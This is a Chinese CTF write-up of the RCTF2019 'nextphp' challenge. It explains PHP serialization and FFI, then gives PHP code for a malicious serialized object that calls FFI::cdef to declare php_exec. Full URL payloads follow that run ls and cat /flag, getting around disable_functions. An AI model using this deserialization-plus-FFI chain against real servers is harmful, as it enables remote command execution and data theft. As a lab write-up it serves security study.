首发于:https://blog.csdn.net/Ephemerally/article/details/108511037?spm=1001.2014.3001.5501
做了一道关于序列化与FFI(Foreign Function Interface)
的web
题,在这里记录一下。
题是RCTF2019
的nextphp
题目信息非常简单,我们先随意传一个参数看看。
在错误信息中,我们发现了一个目录,但是我们不清楚哪些函数可以用,我们查看一下phpinfo
。
许多系统函数被禁用了,但是scandir
没有被禁用。
这里有一个有用的信息,“preload.php”
,所以我们尝试打开它。
这里可以发现serialize
,是序列化。
什么是序列化?
- 序列化就是把本来不能直接存储的数据转换成可存储的数据,并且不会丢掉数据格式。
什么是反序列化?
- 顾名思义,它是序列化的逆过程,把序列化的数据,转换成我们需要的格式。
我们生成一个对象进行测试。
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize() {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize () {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
}
public function __construct () {
}
}
$a = new A();
$b =serialize($a);
echo $b;
C:1:"A":61:{a:3:{s:3:"ret";N;s:4:"func";s:7:"print_r";s:3:"arg";s:1:"1";}}
将结果传参。
http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:61:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:7:%22print_r%22;s:3:%22arg%22;s:1:%221%22;}}%27)-%3E__get(%22ret%22));
打印出来是1bool(true)
。
但这道题因为函数禁用的关系,需要用到FFI
接口
什么是FFI
- FFI是php7.4的全新拓展方式,就是在php代码中调用C代码的技术,可以让我们很轻易的调用C写的各种库;
将程序改写如下
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int php_exec(int type,char* cmd);'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize() {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize () {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
}
public function __construct () {
}
}
$a = new A();
$b=serialize($a);
echo $b;
?>
运行结果
C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int php_exec(int type,char* cmd);";}}
传参带入。
http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:96:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:33:%22int%20php_exec(int%20type,char*%20cmd);%22;}}%27)-%3E__get(%22ret%22)-%3Ephp_exec(1,%27ls%27));
继续查找,在根目录发现了这个
http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:96:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:33:%22int%20php_exec(int%20type,char*%20cmd);%22;}}%27)-%3E__get(%22ret%22)-%3Ephp_exec(1,%27ls%20/%27));
http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:96:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:33:%22int%20php_exec(int%20type,char*%20cmd);%22;}}%27)-%3E__get(%22ret%22)-%3Ephp_exec(1,%27cat%20/flag%27));
最终得到flag
Your style is really unique compared to other folks I’ve read stuff from. Thanks for posting when you have the opportunity, Guess I will just book mark this web site.